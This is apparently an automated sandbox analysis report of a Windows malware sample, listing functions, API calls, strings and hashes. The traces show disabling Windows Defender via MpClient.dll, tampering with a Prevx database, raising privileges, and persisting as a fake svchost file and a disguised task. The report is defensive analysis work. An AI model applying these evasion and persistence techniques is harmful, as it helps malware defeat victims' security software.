                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c87fe8c59a66a8ba2057550360fc396b9d9c5c1a7bae7684166c86d3e9f90a93
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2C4167B1A00214BBEB109F959D89FAFBB7CEF84B11F10416AFB05F62D0D77459448BA8
                                                                                                                                                                                                                      Function 00401B20 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 66memorylibraryloaderCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 272 401b20-401b35 273 401bd7-401bdd 272->273 274 401b3b-401b48 call 401150 272->274 274->273 277 401b4e-401b59 RtlImageNtHeader 274->277 278 401bb5-401bc9 GetProcessHeap HeapValidate 277->278 279 401b5b-401b7c GetTickCount GetModuleHandleA 277->279 278->273 280 401bcb-401bd1 GetProcessHeap HeapFree 278->280 281 401b95-401bb0 EntryPoint 279->281 282 401b7e-401b8c GetProcAddress 279->282 280->273 281->278 282->281 283 401b8e 282->283 283->281
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                        • Part of subcall function 00401150: CreateFileA.KERNELBASE(G,@,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,00000000,?,?,?,00401B44,00000000,00000000), ref: 00401177
                                                                                                                                                                                                                        • Part of subcall function 00401150: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,00401B44,00000000,00000000,?,00000000,00402C47), ref: 00401193
                                                                                                                                                                                                                        • Part of subcall function 00401150: GetProcessHeap.KERNEL32(00000008,?,?,?,?,00401B44,00000000,00000000,?,00000000,00402C47), ref: 004011B3
                                                                                                                                                                                                                        • Part of subcall function 00401150: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401B44,00000000,00000000,?,00000000,00402C47), ref: 004011BA
                                                                                                                                                                                                                        • Part of subcall function 00401150: memset.MSVCRT ref: 004011CD
                                                                                                                                                                                                                        • Part of subcall function 00401150: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000001,?,?,?,00401B44), ref: 004011EA
                                                                                                                                                                                                                        • Part of subcall function 00401150: LockFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,00401B44), ref: 004011FA
                                                                                                                                                                                                                        • Part of subcall function 00401150: ReadFile.KERNELBASE(00000000,00000000,?,00000000,00000000,?,?,?,00401B44), ref: 00401209
                                                                                                                                                                                                                        • Part of subcall function 00401150: UnlockFile.KERNEL32(00000000,00401B44,00000000,?,00000000,?,?,?,00401B44), ref: 0040121C
                                                                                                                                                                                                                        • Part of subcall function 00401150: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401231
                                                                                                                                                                                                                        • Part of subcall function 00401150: HeapValidate.KERNEL32(00000000), ref: 00401234
                                                                                                                                                                                                                        • Part of subcall function 00401150: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401241
                                                                                                                                                                                                                        • Part of subcall function 00401150: HeapFree.KERNEL32(00000000), ref: 00401244
                                                                                                                                                                                                                      • RtlImageNtHeader.NTDLL(00000000), ref: 00401B4F
                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 00401B63
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(ntdll.dll), ref: 00401B74
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401B84
                                                                                                                                                                                                                      • EntryPoint.1FWGBXPGIT(00000000), ref: 00401BB0
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401BBE
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 00401BC1
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401BCE
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 00401BD1
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$File$Process$FreeValidate$AddressAllocateCountCreateEntryHandleHeaderImageLockModulePointPointerProcReadSizeTickUnlockmemset
                                                                                                                                                                                                                      • String ID: G,@$RtlUniform$ntdll.dll
                                                                                                                                                                                                                      • API String ID: 193611197-905597979
                                                                                                                                                                                                                      • Opcode ID: 2010ef54e731929bdeef478eef36219a5a0ac2089432c3df2103351bfe7421e8
                                                                                                                                                                                                                      • Instruction ID: 64d0ad1f4564684b16137518c26293c6cc216b866d3c13d6df455aa1ddd35d97
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2010ef54e731929bdeef478eef36219a5a0ac2089432c3df2103351bfe7421e8
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 00118271600304ABD724ABB69D49F9B7BA89F85755F044136FB09F62E1EB38DD00CA68
                                                                                                                                                                                                                      Function 004020E0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 68libraryloaderCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 284 4020e0-40213c memset SHGetFolderPathA 285 4021a7-4021a9 284->285 286 40213e-40215f PathAppendA SetCurrentDirectoryA 284->286 288 4021b2-4021c2 285->288 289 4021ab-4021ac FreeLibrary 285->289 286->285 287 402161-402173 LoadLibraryA 286->287 287->285 290 402175-402183 GetProcAddress 287->290 289->288 290->285 291 402185-402192 290->291 291->285
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT ref: 0040211E
                                                                                                                                                                                                                      • SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402134
                                                                                                                                                                                                                      • PathAppendA.SHLWAPI(?,Windows Defender), ref: 0040214A
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNELBASE(?), ref: 00402157
                                                                                                                                                                                                                      • LoadLibraryA.KERNELBASE(MpClient.dll), ref: 00402166
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,WDEnable), ref: 0040217B
                                                                                                                                                                                                                      • FreeLibrary.KERNELBASE(00000000), ref: 004021AC
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: LibraryPath$AddressAppendCurrentDirectoryFolderFreeLoadProcmemset
                                                                                                                                                                                                                      • String ID: MpClient.dll$WDEnable$Windows Defender$v-@
                                                                                                                                                                                                                      • API String ID: 1010965793-1794910726
                                                                                                                                                                                                                      • Opcode ID: 9a8801f81893ad2c186c2148835d49196fca5eda48d8657e7ad32c24086763b8
                                                                                                                                                                                                                      • Instruction ID: 6149f717096a9febd0c21d278ea6f34184d08bed9f30ffe58492fd99f82aed82
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9a8801f81893ad2c186c2148835d49196fca5eda48d8657e7ad32c24086763b8
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5A11D5B2940318BFD7219FA4DD49FAEB76CEB48710F00037AF705B22C0D27C4A418AA8
                                                                                                                                                                                                                      Function 00402680 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 228commemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 293 402680-4026ac CoInitializeEx 294 4026ae-4026b1 293->294 295 4026bf-4026e7 GetModuleFileNameW SysAllocString 293->295 294->295 296 4026b3-4026b9 294->296 297 402869-40286f 295->297 298 4026ed-4026f8 SysAllocString 295->298 296->295 299 4028c4-4028c9 296->299 300 402871-402876 297->300 301 402879-40287e 297->301 302 402853-402861 SysFreeString 298->302 303 4026fe-40271f CoCreateInstance 298->303 300->301 304 402880-402885 301->304 305 402888-40288d 301->305 308 402863-402864 SysFreeString 302->308 309 402866 302->309 306 402725-40272a 303->306 307 402827-40282a 303->307 304->305 311 402897-40289c 305->311 312 40288f-402894 305->312 306->307 310 402730-402741 306->310 307->302 308->309 309->297 310->302 320 402747-402758 310->320 313 4028a6-4028ab 311->313 314 40289e-4028a3 311->314 312->311 316 4028b5-4028b7 313->316 317 4028ad-4028b2 313->317 314->313 318 4028b9-4028bc 316->318 319 4028be CoUninitialize 316->319 317->316 318->299 318->319 319->299 320->302 322 40275e-402768 320->322 323 40276d-40276f 322->323 323->302 324 402775-40277c 323->324 325 402851 324->325 326 402782-402793 324->326 325->302 326->325 328 402799-4027b1 326->328 330 4027b3-4027d3 CoCreateInstance 328->330 331 40282c-40283d 328->331 332 4027d5-4027da 330->332 333 4027dc 330->333 331->325 337 40283f-402843 331->337 332->333 334 4027de-4027e3 332->334 333->334 334->325 336 4027e5-4027f0 334->336 336->325 340 4027f2-402803 336->340 337->325 338 402845-40284e 337->338 338->325 340->325 342 402805-402814 340->342 342->325 344 402816-402825 342->344 344->325
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CoInitializeEx.COMBASE(00000000,00000002), ref: 0040269F
                                                                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000), ref: 004026CD
                                                                                                                                                                                                                      • SysAllocString.OLEAUT32(?), ref: 004026E0
                                                                                                                                                                                                                      • SysAllocString.OLEAUT32(Windows Explorer), ref: 004026F2
                                                                                                                                                                                                                      • CoCreateInstance.OLE32(00404E70,00000000,00004401,00404E80,?), ref: 0040271B
                                                                                                                                                                                                                      • CoCreateInstance.OLE32(00404E90,00000000,00004401,00404EA0,?), ref: 004027CF
                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00402DB5), ref: 0040285D
                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 00402864
                                                                                                                                                                                                                      • CoUninitialize.COMBASE ref: 004028BE
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: String$AllocCreateFreeInstance$FileInitializeModuleNameUninitialize
                                                                                                                                                                                                                      • String ID: Windows Explorer
                                                                                                                                                                                                                      • API String ID: 1140695583-228612681
                                                                                                                                                                                                                      • Opcode ID: 4af7e25e07fe91e1fd00f1fb65f3c817a061b1e1e25a39bc6d6eebae34654fce
                                                                                                                                                                                                                      • Instruction ID: b52a01207190e4a30f96b10a649eeabca6697c1dd3b0d782d0755018a236c0da
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4af7e25e07fe91e1fd00f1fb65f3c817a061b1e1e25a39bc6d6eebae34654fce
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2E714175A006169FCB10EB99CD88DAFB7B9AF88300B24816AE504F73D0D7B5ED42CB54
                                                                                                                                                                                                                      Function 00401E00 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 54threadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32 ref: 00401E10
                                                                                                                                                                                                                      • OpenThreadToken.ADVAPI32(00000000,?,?,?,?,0040104F,?,?,?,?,00401BB5,00000000), ref: 00401E17
                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000020,0040104F,?,?,?,?,0040104F,?,?,?,?,00401BB5,00000000), ref: 00401E27
                                                                                                                                                                                                                      • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,0040104F,?,?,?,?,00401BB5,00000000), ref: 00401E2E
                                                                                                                                                                                                                      • LookupPrivilegeValueA.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 00401E51
                                                                                                                                                                                                                      • AdjustTokenPrivileges.KERNELBASE(0040104F,00000000,00000001,00000000,00000000,00000000), ref: 00401E6B
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 00401E75
                                                                                                                                                                                                                      • CloseHandle.KERNELBASE(0040104F), ref: 00401E86
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Token$CurrentOpenProcessThread$AdjustCloseErrorHandleLastLookupPrivilegePrivilegesValue
                                                                                                                                                                                                                      • String ID: SeSecurityPrivilege
                                                                                                                                                                                                                      • API String ID: 731831024-2333288578
                                                                                                                                                                                                                      • Opcode ID: 0b5c4ba04f49aa1d8c4809081d8a63f9d909b8f533a1819c24dc1b0a7e06f584
                                                                                                                                                                                                                      • Instruction ID: 2f4dd94adce221d10feffccf969df1866f37505423b255349c6b180ac4db3a06
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0b5c4ba04f49aa1d8c4809081d8a63f9d909b8f533a1819c24dc1b0a7e06f584
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 92113CB6A00205ABE710DBE0DE0DFAF7B7CAB84B41F104129BB05F61D0D7749A04C7A9
                                                                                                                                                                                                                      Function 00402360 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74filetimeCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateFileA.KERNELBASE(\\.\pipe\acsipc_server,C0000000,00000003,?,00000003,80000080,00000000,00000000), ref: 004023F6
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,D48A445E,00000028,?,00000000), ref: 00402416
                                                                                                                                                                                                                      • GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040241C
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,B5CB6C63,0000001C,?,00000000), ref: 0040243A
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0040243D
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$TimeWrite$CloseCreateHandleSystem
                                                                                                                                                                                                                      • String ID: \\.\pipe\acsipc_server
                                                                                                                                                                                                                      • API String ID: 3225117150-898603304
                                                                                                                                                                                                                      • Opcode ID: 09079f795ad6bdb91afb2c9b6928e581e643feef602d34b17a80bf8da01f816f
                                                                                                                                                                                                                      • Instruction ID: f0829fbf90d271a43df41d43683be69a37a07176176bc6acbc5691eaf7b0b3d2
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 09079f795ad6bdb91afb2c9b6928e581e643feef602d34b17a80bf8da01f816f
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CA31F2B1C0121CAFDB10DFD9D985AEEFBB8FB48314F10422AE614BB280D7B41A458F95
                                                                                                                                                                                                                      Function 00402A70 Relevance: 52.7, APIs: 23, Strings: 7, Instructions: 223memorylibraryloaderCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(00401CB0,?,0000001C,00000000,00000000,7604DB30), ref: 00402AAB
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 00402AC3
                                                                                                                                                                                                                      • PathFileExistsA.KERNELBASE(?), ref: 00402AE4
                                                                                                                                                                                                                      • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00402AFC
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00402B3D
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00402B4D
                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(?), ref: 00402B5E
                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 00402B96
                                                                                                                                                                                                                        • Part of subcall function 00401390: GetTickCount.KERNEL32 ref: 0040139B
                                                                                                                                                                                                                        • Part of subcall function 00401390: GetModuleHandleA.KERNEL32(ntdll.dll,?,00402BA2,00000000), ref: 004013AC
                                                                                                                                                                                                                        • Part of subcall function 00401390: GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 004013BC
                                                                                                                                                                                                                        • Part of subcall function 00401420: GetTickCount.KERNEL32 ref: 0040144A
                                                                                                                                                                                                                        • Part of subcall function 00401420: GetModuleHandleA.KERNEL32(ntdll.dll,?,00402BAE,-00000006,00000000), ref: 00401457
                                                                                                                                                                                                                        • Part of subcall function 00401420: GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401463
                                                                                                                                                                                                                      • _snprintf.MSVCRT ref: 00402C10
                                                                                                                                                                                                                      • CopyFileA.KERNEL32(?,?,00000001), ref: 00402C28
                                                                                                                                                                                                                      • RtlImageNtHeader.NTDLL(00000000), ref: 00402C5A
                                                                                                                                                                                                                      • EntryPoint.1FWGBXPGIT(00000000), ref: 00402C76
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402C85
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 00402C88
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402C94
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 00402C97
                                                                                                                                                                                                                      • MoveFileExA.KERNEL32(?,?,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00402CB6
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00402CC5
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00402CD5
                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(?), ref: 00402CE6
                                                                                                                                                                                                                      • GlobalFindAtomA.KERNEL32(Wed Jul 6 06:49:26 20111), ref: 00402D04
                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 00402D15
                                                                                                                                                                                                                      • GlobalAddAtomA.KERNEL32(Wed Jul 6 06:49:26 20111), ref: 00402D20
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ModuleProcess$AddressFileHandleHeapProc$CountTick$AtomCurrentGlobal$CopyDirectoryEntryExistsExitFindFreeHeaderImageMoveNamePathPointQuerySystemValidateVirtualWindows_snprintf
                                                                                                                                                                                                                      • String ID: %s_$.dat$IsWow64Process$Wed Jul 6 06:49:26 20111$\apppatch\$kernel32.dll$svchost.exe
                                                                                                                                                                                                                      • API String ID: 450058505-3112416296
                                                                                                                                                                                                                      • Opcode ID: 66aefa0bda43174da8d304fb35afc24c9e162c35573b710bb5f0be43539d63f7
                                                                                                                                                                                                                      • Instruction ID: 5ff553944d99263ee06e3162097b0b7c6440a9b95b570a66abc1ee1896f9e821
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 66aefa0bda43174da8d304fb35afc24c9e162c35573b710bb5f0be43539d63f7
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 28716FB15043419BC710EF609E9C96BBBE8BBD8300F44493EF786B72A1DB749944CB99
                                                                                                                                                                                                                      Function 004001CA Relevance: 25.0, APIs: 12, Strings: 1, Instructions: 2235fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 171 4001ca-4001e3 173 4001e5-400258 171->173 174 400259 171->174 176 40025a-401011 173->176 174->176 180 401017-40101a 176->180 181 40113c-401141 176->181 180->181 182 401020-401022 180->182 182->181 183 401028-401044 CreateFileA 182->183 184 401139 183->184 185 40104a-401051 call 401e00 183->185 184->181 188 401053-401068 ConvertStringSecurityDescriptorToSecurityDescriptorW 185->188 189 4010aa-4010f3 SetFilePointer LockFile WriteFile UnlockFile 185->189 188->189 190 40106a-401089 GetSecurityDescriptorSacl 188->190 191 401105 189->191 192 4010f5-401103 SetEndOfFile 189->192 193 4010a0-4010a4 LocalFree 190->193 194 40108b-40109a SetNamedSecurityInfoA 190->194 195 401108-401111 191->195 192->191 192->195 193->189 194->193 196 401113-401120 GetHandleInformation 195->196 197 40112f-401136 195->197 196->197 198 401122-401126 196->198 198->197 199 401128-401129 CloseHandle 198->199 199->197
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateFileA.KERNELBASE(00000000,C0000000,00000003,00000000,00000002,00000080,00000000,00000000,00000000,?,?,?,?,00401BB5,00000000), ref: 00401039
                                                                                                                                                                                                                        • Part of subcall function 00401E00: GetCurrentThread.KERNEL32 ref: 00401E10
                                                                                                                                                                                                                        • Part of subcall function 00401E00: OpenThreadToken.ADVAPI32(00000000,?,?,?,?,0040104F,?,?,?,?,00401BB5,00000000), ref: 00401E17
                                                                                                                                                                                                                        • Part of subcall function 00401E00: GetCurrentProcess.KERNEL32(00000020,0040104F,?,?,?,?,0040104F,?,?,?,?,00401BB5,00000000), ref: 00401E27
                                                                                                                                                                                                                        • Part of subcall function 00401E00: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,0040104F,?,?,?,?,00401BB5,00000000), ref: 00401E2E
                                                                                                                                                                                                                        • Part of subcall function 00401E00: LookupPrivilegeValueA.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 00401E51
                                                                                                                                                                                                                        • Part of subcall function 00401E00: AdjustTokenPrivileges.KERNELBASE(0040104F,00000000,00000001,00000000,00000000,00000000), ref: 00401E6B
                                                                                                                                                                                                                        • Part of subcall function 00401E00: GetLastError.KERNEL32 ref: 00401E75
                                                                                                                                                                                                                        • Part of subcall function 00401E00: CloseHandle.KERNELBASE(0040104F), ref: 00401E86
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 00401060
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(?,?,00401BB5,?), ref: 00401081
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(00000000,00000001,00000010,00000000,00000000,00000000,00000000), ref: 0040109A
                                                                                                                                                                                                                      • LocalFree.KERNEL32(?), ref: 004010A4
                                                                                                                                                                                                                      • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000001), ref: 004010B8
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004010C7
                                                                                                                                                                                                                      • WriteFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000), ref: 004010D9
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004010E9
                                                                                                                                                                                                                      • SetEndOfFile.KERNELBASE(00000000), ref: 004010F6
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401118
                                                                                                                                                                                                                      • CloseHandle.KERNELBASE(00000000), ref: 00401129
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$Security$DescriptorHandleToken$CloseCurrentOpenProcessThread$AdjustConvertCreateErrorFreeInfoInformationLastLocalLockLookupNamedPointerPrivilegePrivilegesSaclStringUnlockValueWrite
                                                                                                                                                                                                                      • String ID: S:(ML;;NRNWNX;;;LW)
                                                                                                                                                                                                                      • API String ID: 1027056982-820036962
                                                                                                                                                                                                                      • Opcode ID: 81d4fb4f5fac3a8a28ffc8fda7917889cd3cc1cb556f91fb1df1ae6cc93ce86d
                                                                                                                                                                                                                      • Instruction ID: e082a392c3e1c8ea6bcbabec48e58df7c8b9917df2aee0f20a935e5e0ee169a7
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 81d4fb4f5fac3a8a28ffc8fda7917889cd3cc1cb556f91fb1df1ae6cc93ce86d
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C4518E715093806FE7128B609D18BAA3FB99F47701F1941EBE680FA1E3D27C4D49C769
                                                                                                                                                                                                                      Function 00402540 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • SHGetFolderPathA.SHELL32(00000000,00000023,00000000,00000000,?), ref: 0040255C
                                                                                                                                                                                                                      • CreateFileA.KERNELBASE(?,C0000000,00000003,00000000,00000003,00000080,00000000,00000000), ref: 004025C0
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,000017A8,00000000,00000000), ref: 004025E3
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 004025F8
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000B98,00000000,00000000), ref: 00402604
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402613
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,000017E4,00000000,00000000), ref: 0040261F
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 0040262E
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,000017DC,00000000,00000000), ref: 0040263A
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402649
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00003380,00000000,00000000), ref: 00402655
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402664
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00402667
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$PointerWrite$CloseCreateFolderHandlePath
                                                                                                                                                                                                                      • String ID: \PrevxCSI\csidb.csi
                                                                                                                                                                                                                      • API String ID: 606440919-2829233815
